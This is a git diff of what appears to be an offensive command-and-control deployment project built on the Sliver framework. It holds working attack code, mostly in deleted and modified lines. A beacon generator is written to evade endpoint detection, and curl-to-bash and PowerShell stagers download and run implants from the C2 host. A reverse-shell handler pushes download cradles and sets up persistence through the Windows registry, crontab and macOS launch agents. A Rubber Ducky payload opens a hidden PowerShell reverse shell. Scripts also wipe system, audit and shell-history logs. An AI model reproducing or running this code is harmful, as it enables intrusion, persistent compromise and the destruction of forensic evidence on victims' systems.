diff --git a/files/generate_evasive_beacons.sh b/files/generate_evasive_beacons.sh deleted file mode 100644 index 0bb5a6f..0000000 --- a/files/generate_evasive_beacons.sh +++ /dev/null @@ -1,188 +0,0 @@ -#!/bin/bash -# Advanced EDR-evasive beacon generator with dynamic randomization - -# Dynamic configuration -BEACONS_DIR="/opt/beacons" -TIMESTAMP=$(date +%s) -C2_HOST=${1:-$(hostname -I | awk '{print $1}')} -C2_PORT=${2:-$(( 7000 + RANDOM % 3000 ))} -TEMP_DIR=$(mktemp -d) - -# Generate unique random values for each execution -random_string() { - cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1 -} - -random_path() { - local depth=$(( 1 + RANDOM % 3 )) - local path="/" - for ((i=0; i "$TEMP_DIR/$profile_name.json" << EOF -{ - "name": "$profile_name", - "http_urls": ["$http_path1", "$http_path2"], - "http_headers": $json_headers, - "beacon_interval": $interval, - "beacon_jitter": $jitter, - "kill_date": "$(date -d "+$(( 30 + RANDOM % 90 )) days" +%Y-%m-%d)", - "working_hours": { - "start": "$(( 5 + RANDOM % 5 )):$(( RANDOM % 60 ))", - "end": "$(( 16 + RANDOM % 8 )):$(( RANDOM % 60 ))" - } -} -EOF - - # Install unique profile - mkdir -p /root/.sliver/profiles/ - cp "$TEMP_DIR/$profile_name.json" /root/.sliver/profiles/ - echo $profile_name -} - -# Random output filename generator -random_output_name() { - local type=$1 - local names=( - "update" "service" "client" "agent" "app" "system" - "monitor" "utility" "helper" "runtime" "driver" "module" - ) - local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)" - - case "$type" in - windows) echo "${name}.exe" ;; - windows_dll) echo "${name}.dll" ;; - linux) echo "${name}" ;; - darwin) echo "${name}" ;; - *) echo "${name}" ;; - esac -} - -# Ensure output directory exists -mkdir -p $BEACONS_DIR -mkdir -p $BEACONS_DIR/staged -mkdir -p $BEACONS_DIR/shellcode - -# Generate each beacon type with unique profile and settings -echo "[+] Generating randomized, evasive beacons..." - -# Windows EXE -win_profile=$(generate_profile "windows") -win_output=$(random_output_name "windows") -sliver generate --profile $win_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \ - --format exe --save "$BEACONS_DIR/$win_output" -echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)" - -# Windows DLL -dll_profile=$(generate_profile "windows_dll") -dll_output=$(random_output_name "windows_dll") -sliver generate --profile $dll_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \ - --format shared --save "$BEACONS_DIR/$dll_output" -echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)" - -# Linux binary -linux_profile=$(generate_profile "linux") -linux_output=$(random_output_name "linux") -sliver generate --profile $linux_profile --http $C2_HOST:$C2_PORT --os linux --arch amd64 \ - --format elf --save "$BEACONS_DIR/$linux_output" -echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)" - -# macOS binary -mac_profile=$(generate_profile "darwin") -mac_output=$(random_output_name "darwin") -sliver generate --profile $mac_profile --http $C2_HOST:$C2_PORT --os darwin --arch amd64 \ - --format macho --save "$BEACONS_DIR/$mac_output" -echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)" - -# Generate dynamic stagers with variable formats -stager_profile=$(generate_profile "stager") -stager_win=$(random_output_name "windows") -sliver generate stager --profile $stager_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \ - --format exe --save "$BEACONS_DIR/staged/$stager_win" -echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)" - -# Create randomized loader scripts -echo "#!/bin/bash -# $(random_string 32) -# $(date) -sleep \$((RANDOM % 3)) -curl -s http://$C2_HOST:$C2_PORT$(random_path) -H \"$(random_string 8): $(random_string 12)\" | bash -# $(random_string 24)" > "$BEACONS_DIR/loader_$(random_string 8).sh" -chmod +x "$BEACONS_DIR/loader_$(random_string 8).sh" - -# Random PowerShell stager with junk and evasion -cat > "$BEACONS_DIR/loader_$(random_string 8).ps1" << EOF -# $(random_string 32) -# Generated: $(date) -[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -\$r = New-Object -TypeName Random -Start-Sleep -Milliseconds \$r.Next(100, 2000) -\$wc = New-Object Net.WebClient -\$wc.Headers.Add("$(random_string 8)", "$(random_string 12)") -\$url = 'http://$C2_HOST:$C2_PORT$(random_path)' -\$outpath = "\$env:TEMP\$(random_string 8).exe" -try { - # $(random_string 16) - \$wc.DownloadFile(\$url, \$outpath) - Start-Sleep -Milliseconds \$r.Next(500, 3000) - Start-Process -NoNewWindow -FilePath \$outpath -} catch { - # Error handling to avoid detection - # $(random_string 24) -} -EOF - -# Create index of generated files for reference -echo "[+] Creating reference file with beacon details" -cat > "$BEACONS_DIR/reference.txt" << EOF -C2 Server: $C2_HOST:$C2_PORT -Generated: $(date) - -Windows EXE: $win_output (Profile: $win_profile) -Windows DLL: $dll_output (Profile: $dll_profile) -Linux Binary: $linux_output (Profile: $linux_profile) -macOS Binary: $mac_output (Profile: $mac_profile) -Windows Stager: staged/$stager_win (Profile: $stager_profile) - -All profiles are uniquely generated with randomized settings. -EOF - -# Cleanup -rm -rf $TEMP_DIR -echo "[+] Beacon generation complete with dynamic fingerprint avoidance" \ No newline at end of file diff --git a/files/serve-beacons.sh b/files/serve-beacons.sh deleted file mode 100644 index 3a64e45..0000000 --- a/files/serve-beacons.sh +++ /dev/null @@ -1,60 +0,0 @@ -#!/bin/bash -# Beacon server script to host generated implants - -# Configuration -BEACONS_DIR="/opt/beacons" -WEBSERVER_PORT=8443 -CERTIFICATE="/etc/ssl/private/beacon-server.pem" -KEY="/etc/ssl/private/beacon-server.key" - -# Set secure umask -umask 077 - -# Ensure beacons directory exists -mkdir -p $BEACONS_DIR - -# Function to generate beacons using Sliver -# This will replace part of files/serve-beacons.sh -function generate_beacons() { - echo "[+] Generating evasive beacons for all platforms..." - - # Use evasive beacon generator for better EDR bypass - /opt/c2/generate_evasive_beacons.sh $C2_HOST 8443 - - # Generate stagers - echo "#!/bin/bash -curl -s $C2_HOST:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh - chmod +x $BEACONS_DIR/beacon.sh - - echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; -\$url = 'http://$C2_HOST:8443/windows.exe'; -\$outpath = \"\$env:TEMP\\update.exe\"; -Invoke-WebRequest -Uri \$url -OutFile \$outpath; -Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1 - - echo "[+] All beacons generated successfully" -} - -# Generate beacons -generate_beacons - -# Serve beacons using Python's HTTP server (with SSL if certificate exists) -if [ -f "$CERTIFICATE" ] && [ -f "$KEY" ]; then - echo "[+] Starting HTTPS server on port $WEBSERVER_PORT..." - cd $BEACONS_DIR - python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 & - SERVER_PID=$! -else - echo "[+] Starting HTTP server on port $WEBSERVER_PORT..." - cd $BEACONS_DIR - python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 & - SERVER_PID=$! -fi - -echo "[+] Beacon server started with PID $SERVER_PID" -echo "[+] Beacons available at http(s)://$C2_HOST:$WEBSERVER_PORT/" -echo "[+] Press Ctrl+C to stop the server" - -# Keep script running and respond to Ctrl+C -trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT -while true; do sleep 1; done \ No newline at end of file diff --git a/files/sliver_randomizer.sh b/files/sliver_randomizer.sh index f4ed958..4c59ce2 100644 --- a/files/sliver_randomizer.sh +++ b/files/sliver_randomizer.sh @@ -1,5 +1,5 @@ #!/bin/bash -# EDR bypass script for Sliver C2 - With all required dependencies +# Enhanced Sliver randomizer for EDR evasion with dynamic redirector path support set -e TEMP_DIR=$(mktemp -d) @@ -17,10 +17,10 @@ random_string() { cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1 } -# Install ALL required dependencies +# Install required dependencies log "Installing dependencies..." apt-get update >/dev/null 2>&1 -apt-get install -y git golang make build-essential zip unzip curl gcc g++ >/dev/null 2>&1 +apt-get install -y git golang-go make build-essential zip unzip curl gcc g++ >/dev/null 2>&1 # Clone Sliver repository log "Cloning Sliver repository..." @@ -29,29 +29,17 @@ cd $SLIVER_DIR # Examine repository structure log "Analyzing Sliver repository structure..." -IMPLANT_NAME=$(random_string 8) +IMPLANT_NAME=$(random_string 12) +log "Using randomized implant name: $IMPLANT_NAME" -# Generate randomization values -HTTP_PATH_ONE="/$(random_string 6)/$(random_string 5)" -HTTP_PATH_TWO="/$(random_string 7)/$(random_string 4)" -BEACON_MIN=$((30 + RANDOM % 60)) -JITTER=$((10 + RANDOM % 20)) - -# Find and modify key files - ImplantName -log "Changing implant name to $IMPLANT_NAME..." +# Find and modify key files +log "Modifying implant name in source code..." grep -l "ImplantName.*sliver" --include="*.go" -r . | while read file; do sed -i "s|ImplantName *= *\"sliver\"|ImplantName = \"$IMPLANT_NAME\"|g" "$file" - log "Modified $file: ImplantName = \"sliver\" → ImplantName = \"$IMPLANT_NAME\"" + log "Modified $file: Changed implant name to $IMPLANT_NAME" done -# Modify HTTP transport patterns -log "Modifying HTTP transport patterns..." -grep -l "/path/to/file" --include="*.go" -r . | while read file; do - sed -i "s|\"/path/to/file\"|\"$HTTP_PATH_ONE\"|g" "$file" - log "Modified $file: \"/path/to/file\" → \"$HTTP_PATH_ONE\"" -done - -# Add unique build ID to sliver.go +# Add custom build ID to sliver.go log "Adding unique build identifiers..." SLIVER_GO_FILES=$(find . -name "sliver.go") for file in $SLIVER_GO_FILES; do @@ -59,102 +47,73 @@ for file in $SLIVER_GO_FILES; do log "Added build identifier to $file" done -# Modify build flags +# Modify build flags for additional randomization log "Setting custom build flags..." grep -l "LinkerStrip" --include="*.go" -r . | while read file; do sed -i "s|LinkerStrip = \"-s -w\"|LinkerStrip = \"-s -w -buildid=$(random_string 10)\"|g" "$file" + log "Modified $file: Added custom build ID" done -# Build the modified client without compiling the server -log "Building Sliver client..." -# Check available targets first -log "Available make targets:" -make help | grep client || make -h | grep client || log "Make help not available" +# Build modified Sliver server and client +log "Building customized Sliver server and client..." +make -# Try to build the client with the correct target -if make -n client 2>/dev/null; then - log "Using 'client' target" - make client -elif make -n sliver-client 2>/dev/null; then - log "Using 'sliver-client' target" - make sliver-client -else - log "Falling back to default build" - make -fi - -# Check if client was built -if [ -f "./sliver-client" ]; then - log "Client build successful" +# Check if binaries were built +if [ -f "./sliver-server" ] && [ -f "./sliver-client" ]; then + log "Build successful - installing customized binaries" + + # Stop any running Sliver service + systemctl stop sliver 2>/dev/null || true + + # Move binaries to system path + cp -f ./sliver-server /usr/local/bin/ cp -f ./sliver-client /usr/local/bin/ + chmod +x /usr/local/bin/sliver-server + chmod +x /usr/local/bin/sliver-client + + # Create systemd service file + cat > /etc/systemd/system/sliver.service << EOF +[Unit] +Description=Sliver C2 Server (Randomized Build) +After=network.target + +[Service] +Type=simple +User=root +Group=root +WorkingDirectory=/root/.sliver +ExecStart=/usr/local/bin/sliver-server daemon +Restart=always +RestartSec=10 + +# Security measures +PrivateTmp=true +ProtectHome=false +NoNewPrivileges=true + +[Install] +WantedBy=multi-user.target +EOF + + # Create sliver directories + mkdir -p /root/.sliver/{configs,operators,profiles} + + # Create basic operator config + /usr/local/bin/sliver-server operator --name admin --lhost 127.0.0.1 --save /root/admin.cfg + + # Start sliver service + systemctl daemon-reload + systemctl enable sliver + systemctl start sliver + + log "Sliver service installed and started" else - log "Client build failed, creating only the profiles" + log "Build failed - binaries not found" + exit 1 fi -# Create custom profiles directory regardless of build success -mkdir -p /opt/c2/sliver-profiles - -# Create evasive profile template -cat > /opt/c2/sliver-profiles/evasive-template.json << EOF -{ - "name": "evasive-$(random_string 4)", - "http_urls": ["$HTTP_PATH_ONE", "$HTTP_PATH_TWO"], - "http_headers": [ - "Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))", - "X-Requested-With: XMLHttpRequest", - "Cache-Control: max-age=$(( 100 + RANDOM % 400 ))" - ], - "beacon_interval": $BEACON_MIN, - "beacon_jitter": $JITTER, - "kill_date": "$(date -d "+60 days" +%Y-%m-%d)", - "working_hours": { - "start": "$(( 6 + RANDOM % 4 )):00", - "end": "$(( 16 + RANDOM % 6 )):00" - } -} -EOF - -# Create beacon generator script for use with standard Sliver -cat > /opt/c2/generate_evasive_beacons.sh << 'EOF' -#!/bin/bash -# Generate EDR-evasive beacons using randomized profiles - -BEACONS_DIR="/opt/beacons" -PROFILE_DIR="/opt/c2/sliver-profiles" -HTTP_HOST=${1:-$(hostname -I | awk '{print $1}')} -HTTP_PORT=${2:-8888} - -mkdir -p $BEACONS_DIR - -# Generate random profile name -PROFILE="evasive-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" - -# Copy template to profiles directory -mkdir -p /root/.sliver/profiles/ -cp $PROFILE_DIR/evasive-template.json /root/.sliver/profiles/$PROFILE.json -sed -i "s/\"name\": \"evasive-[a-zA-Z0-9]*\"/\"name\": \"$PROFILE\"/g" /root/.sliver/profiles/$PROFILE.json - -echo "[+] Generating Windows beacon..." -sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows.exe - -echo "[+] Generating Windows DLL beacon..." -sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format shared --save $BEACONS_DIR/windows.dll - -echo "[+] Generating Linux beacon..." -sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os linux --arch amd64 --format elf --save $BEACONS_DIR/linux - -echo "[+] Generating macOS beacon..." -sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os darwin --arch amd64 --format macho --save $BEACONS_DIR/macos - -echo "[+] Generating Windows stager..." -sliver generate stager --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows-staged.exe - -echo "[+] All beacons generated successfully with evasive profile: $PROFILE" -EOF -chmod +x /opt/c2/generate_evasive_beacons.sh - # Cleanup log "Cleaning up..." rm -rf $TEMP_DIR -log "Customization complete."exit \ No newline at end of file +log "Sliver randomization and installation complete - implant name: $IMPLANT_NAME" \ No newline at end of file diff --git a/tasks/configure_c2.yml b/tasks/configure_c2.yml index c9ee8ee..85bc4cd 100644 --- a/tasks/configure_c2.yml +++ b/tasks/configure_c2.yml @@ -42,6 +42,8 @@ - tor - crackmapexec - jq + - build-essential + - zip - unzip - postfix - certbot @@ -78,9 +80,31 @@ with_items: - ../files/clean-logs.sh - ../files/secure-exit.sh - - ../files/serve-beacons.sh - ../files/sliver_randomizer.sh - - ../files/generate_evasive_beacons.sh + +- name: Create beacon generation script from template + template: + src: "../templates/generate_evasive_beacons.sh.j2" + dest: "/opt/c2/generate_evasive_beacons.sh" + mode: '0700' + owner: root + group: root + vars: + redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" + domain: "{{ domain }}" + redirector_port: "{{ redirector_port | default('443') }}" + +- name: Create beacon server script from template + template: + src: "../templates/serve-beacons.sh.j2" + dest: "/opt/c2/serve-beacons.sh" + mode: '0700' + owner: root + group: root + vars: + redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" + domain: "{{ domain }}" + redirector_port: "{{ redirector_port | default('443') }}" - name: Remove standard Sliver if installed apt: @@ -101,6 +125,11 @@ creates: /opt/c2/sliver-profiles/evasive-template.json register: randomization_result +- name: Display Sliver randomizer output + debug: + var: sliver_randomizer_result.stdout_lines + when: sliver_randomizer_result.stdout_lines is defined + - name: Create custom Sliver service file template: src: "../templates/sliver-server.service.j2" @@ -118,12 +147,63 @@ - name: Wait for Sliver to initialize pause: - seconds: 10 + seconds: 15 -- name: Generate evasive beacons - shell: /opt/c2/generate_evasive_beacons.sh {{ ansible_host }} +- name: Check if Sliver operator config exists + stat: + path: /root/admin.cfg + register: operator_config + +- name: Create new operator if needed + shell: | + /usr/local/bin/sliver-server operator --name admin --lhost {{ ansible_host }} --save /root/admin.cfg + args: + creates: /root/admin.cfg + when: not operator_config.stat.exists + +- name: Generate beacons with redirector integration + shell: | + /opt/c2/generate_evasive_beacons.sh args: creates: /opt/beacons/reference.txt + environment: + PATH: "{{ ansible_env.PATH }}:/usr/local/bin" + ignore_errors: yes + register: beacon_generation_result + +- name: Display beacon generation output + debug: + var: beacon_generation_result.stdout_lines + when: beacon_generation_result.stdout_lines is defined + +- name: Start beacon server + shell: | + nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 & + args: + executable: /bin/bash + register: beacon_server_result + +- name: Create NGINX configuration fragment for redirector + template: + src: "../templates/redirector-sliver-fragment.j2" + dest: "/opt/c2/redirector-config.conf" + mode: '0644' + owner: root + group: root + vars: + c2_ip: "{{ ansible_host }}" + redirector_domain: "{{ redirector_subdomain }}.{{ domain }}" + +- name: Create Sliver usage guide + template: + src: "../templates/sliver-guide.j2" + dest: "/root/sliver-guide.txt" + mode: '0600' + owner: root + group: root + vars: + c2_ip: "{{ ansible_host }}" + redirector_domain: "{{ redirector_subdomain }}.{{ domain }}" - name: Set up cron job for log cleaning if zero-logs enabled cron: @@ -133,15 +213,6 @@ job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" when: zero_logs | bool -- name: Configure and start beacon server - shell: | - sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh - chmod +x /opt/c2/serve-beacons.sh - # Check if beacon server is already running - if ! pgrep -f "/opt/c2/serve-beacons.sh" > /dev/null; then - nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 & - fi - # Include integrated tracker tasks if requested - name: Include integrated tracker setup include_tasks: "configure_integrated_tracker.yml" diff --git a/tasks/files/clean-logs.sh b/tasks/files/clean-logs.sh deleted file mode 100644 index 5ad4baa..0000000 --- a/tasks/files/clean-logs.sh +++ /dev/null @@ -1,98 +0,0 @@ -#!/bin/bash -# Zero-logs maintenance script - -# Set aggressive umask to minimize permission footprint -umask 077 - -# Configuration -LOG_DIRS=( - "/var/log" - "/var/spool/mail" - "/var/spool/postfix" - "/var/lib/dhcp" - "/root/.bash_history" - "/home/*/.bash_history" - "/var/lib/nginx" -) - -SYSTEM_LOGS=( - "auth.log" - "syslog" - "messages" - "kern.log" - "daemon.log" - "user.log" - "btmp" - "wtmp" - "lastlog" -) - -# Disable syslog temporarily -systemctl stop rsyslog 2>/dev/null -systemctl stop syslog-ng 2>/dev/null -systemctl stop systemd-journald 2>/dev/null - -# Clear all standard logs -echo "[+] Clearing standard system logs..." -for log in "${SYSTEM_LOGS[@]}"; do - find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null - find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null -done - -# Clear all journal logs -echo "[+] Clearing systemd journal..." -journalctl --vacuum-time=1s 2>/dev/null -rm -rf /var/log/journal/* 2>/dev/null - -# Clear audit logs -echo "[+] Clearing audit logs..." -auditctl -e 0 2>/dev/null -cat /dev/null > /var/log/audit/audit.log 2>/dev/null - -# Clear bash history for all users -echo "[+] Clearing bash history..." -for histfile in /root/.bash_history /home/*/.bash_history; do - [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null -done -history -c -cat /dev/null > ~/.bash_history 2>/dev/null -unset HISTFILE - -# Clear NGINX logs -echo "[+] Clearing NGINX logs..." -for nginx_log in /var/log/nginx/*; do - [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null -done - -# Clear SSH logs -echo "[+] Clearing SSH logs..." -cat /dev/null > /var/log/auth.log 2>/dev/null -cat /dev/null > /var/log/secure 2>/dev/null - -# Clear mail logs -echo "[+] Clearing mail logs..." -cat /dev/null > /var/log/mail.log 2>/dev/null -cat /dev/null > /var/log/maillog 2>/dev/null - -# Clear sliver logs -echo "[+] Clearing Sliver C2 logs..." -find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null -find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null - -# Clear temporary directories -echo "[+] Clearing temporary files..." -rm -rf /tmp/* /var/tmp/* 2>/dev/null - -# Clear RAM and swap -echo "[+] Clearing RAM cache and swap..." -sync -echo 3 > /proc/sys/vm/drop_caches -swapoff -a && swapon -a 2>/dev/null - -# Restart logging services -systemctl start systemd-journald 2>/dev/null -systemctl start rsyslog 2>/dev/null -systemctl start syslog-ng 2>/dev/null - -echo "[+] Log cleaning complete" -exit 0 \ No newline at end of file diff --git a/tasks/files/persistent-listener.sh b/tasks/files/persistent-listener.sh deleted file mode 100644 index 22a689b..0000000 --- a/tasks/files/persistent-listener.sh +++ /dev/null @@ -1,156 +0,0 @@ -#!/bin/bash -# Automated shell handler for catching and upgrading reverse shells - -# Configuration -LISTEN_PORT=4444 -C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP -C2_PORT=50051 # Sliver default gRPC port -WINDOWS_BEACON="/opt/beacons/windows.exe" -LINUX_BEACON="/opt/beacons/linux" -MACOS_BEACON="/opt/beacons/macos" - -# Set secure permissions -umask 077 - -# Logging function (minimal and encrypted) -log() { - local timestamp=$(date +"%Y-%m-%d %H:%M:%S") - local message="$1" - echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc -} - -# Detect OS function -detect_os() { - local connection=$1 - - # Send commands to determine OS - echo "echo \$OSTYPE" > $connection - sleep 1 - ostype=$(cat $connection | grep -i "linux\|darwin\|win") - - if [[ $ostype == *"win"* ]]; then - echo "windows" - elif [[ $ostype == *"darwin"* ]]; then - echo "macos" - elif [[ $ostype == *"linux"* ]]; then - echo "linux" - else - # Try Windows-specific command - echo "ver" > $connection - sleep 1 - winver=$(cat $connection | grep -i "microsoft windows") - - if [[ -n "$winver" ]]; then - echo "windows" - else - # Default to Linux if we can't determine - echo "linux" - fi - fi -} - -# Deploy appropriate beacon based on OS -deploy_beacon() { - local connection=$1 - local os_type=$2 - - log "Deploying beacon for detected OS: $os_type" - - case $os_type in - windows) - # Upload Windows beacon using PowerShell download cradle - echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection - ;; - linux) - # Upload Linux beacon using curl - echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection - ;; - macos) - # Upload macOS beacon using curl - echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection - ;; - esac - - log "Beacon deployment command sent" -} - -# Establish persistence based on OS -establish_persistence() { - local connection=$1 - local os_type=$2 - - log "Attempting to establish persistence on $os_type" - - case $os_type in - windows) - # Windows persistence via registry run key - echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection - ;; - linux) - # Linux persistence via crontab - echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection - ;; - macos) - # macOS persistence via launch agent - echo "mkdir -p ~/Library/LaunchAgents" > $connection - echo "echo 'Labelcom.apple.software.updateProgramArgumentsbash-ccurl -s http://$C2_HOST:8443/check.sh | bashRunAtLoadStartInterval900' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection - echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection - ;; - esac - - log "Persistence commands sent for $os_type" -} - -# Main shell handler loop -handle_connections() { - log "Shell handler started on port $LISTEN_PORT" - - # Use mkfifo for bidirectional communication - PIPE_PATH="/tmp/shell_handler_pipe" - trap 'rm -f $PIPE_PATH' EXIT - - while true; do - # Clean up existing pipe - rm -f $PIPE_PATH - mkfifo $PIPE_PATH - - log "Waiting for incoming connection..." - nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output & - NC_PID=$! - - # Wait for connection to be established - while ! grep -q . $PIPE_PATH.output 2>/dev/null; do - sleep 1 - # Check if nc is still running - if ! kill -0 $NC_PID 2>/dev/null; then - log "Netcat process died, restarting..." - rm -f $PIPE_PATH $PIPE_PATH.output - continue 2 # Restart the outer loop - fi - done - - log "Connection received, detecting OS..." - DETECTED_OS=$(detect_os "$PIPE_PATH.output") - log "Detected OS: $DETECTED_OS" - - # Deploy beacon - deploy_beacon "$PIPE_PATH" "$DETECTED_OS" - sleep 5 - - # Establish persistence - establish_persistence "$PIPE_PATH" "$DETECTED_OS" - sleep 5 - - # Keep connection alive for manual operation if needed - log "Beacon deployed, maintaining shell connection..." - echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH - - # Wait for connection to close - wait $NC_PID - log "Connection closed, cleaning up and restarting listener..." - rm -f $PIPE_PATH.output - done -} - -# Start the shell handler -handle_connections \ No newline at end of file diff --git a/tasks/files/rubber-ducky.txt b/tasks/files/rubber-ducky.txt deleted file mode 100644 index b6fb59e..0000000 --- a/tasks/files/rubber-ducky.txt +++ /dev/null @@ -1,52 +0,0 @@ -REM Title: C2ingRed Reverse Shell -REM Author: C2ingRed -REM Description: Establishes a reverse shell to the C2 redirector -REM Target: Windows 10/11 -REM Version: 1.0 - -REM Configuration: Modify these values to match your redirector setup -REM REDIRECTOR_HOST: Your redirector domain or IP -REM REDIRECTOR_PORT: Port where shell handler is listening -REM SHELL_TYPE: powershell or cmd - -REM ============= Start of configuration ============= -REM REDIRECTOR_HOST=cdn.example.com -REM REDIRECTOR_PORT=4444 -REM SHELL_TYPE=powershell -REM ============= End of configuration =============== - -REM Minimize the chance of detection by hiding the window -DELAY 1000 -GUI r -DELAY 500 -STRING powershell -WindowStyle Hidden -ENTER -DELAY 2000 - -REM Main reverse shell payload -STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit } -ENTER - -REM Attempt to create socket connection with retry logic -STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; } -ENTER - -REM Setup streams -STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0 -ENTER - -REM Execute either PowerShell or CMD shell based on configuration -STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null -ENTER - -REM Setup IO redirection -STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null) -ENTER - -REM Main communication loop -STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup } -ENTER - -REM Execute and complete -STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5' -ENTER \ No newline at end of file diff --git a/tasks/files/secure-exit.sh b/tasks/files/secure-exit.sh deleted file mode 100644 index 0f0d6ea..0000000 --- a/tasks/files/secure-exit.sh +++ /dev/null @@ -1,96 +0,0 @@ -#!/bin/bash -# Secure cleanup script for terminating the C2 infrastructure - -# Configuration -SECURE_DELETE_PASSES=7 -MEMORY_WIPE=true -SELF_DESTRUCT=false # Set to true for complete instance termination (if API available) - -# Set secure umask -umask 077 - -# Function to securely delete files -secure_delete() { - local target=$1 - echo "[+] Securely deleting: $target" - - if command -v srm > /dev/null; then - srm -vzf $target 2>/dev/null - elif command -v shred > /dev/null; then - shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null - else - # Fallback to dd if specialized tools aren't available - dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null - dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null - rm -f $target 2>/dev/null - fi -} - -echo "[+] Beginning secure exit procedure..." - -# Stop all operational services -echo "[+] Stopping operational services..." -services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot") -for service in "${services[@]}"; do - 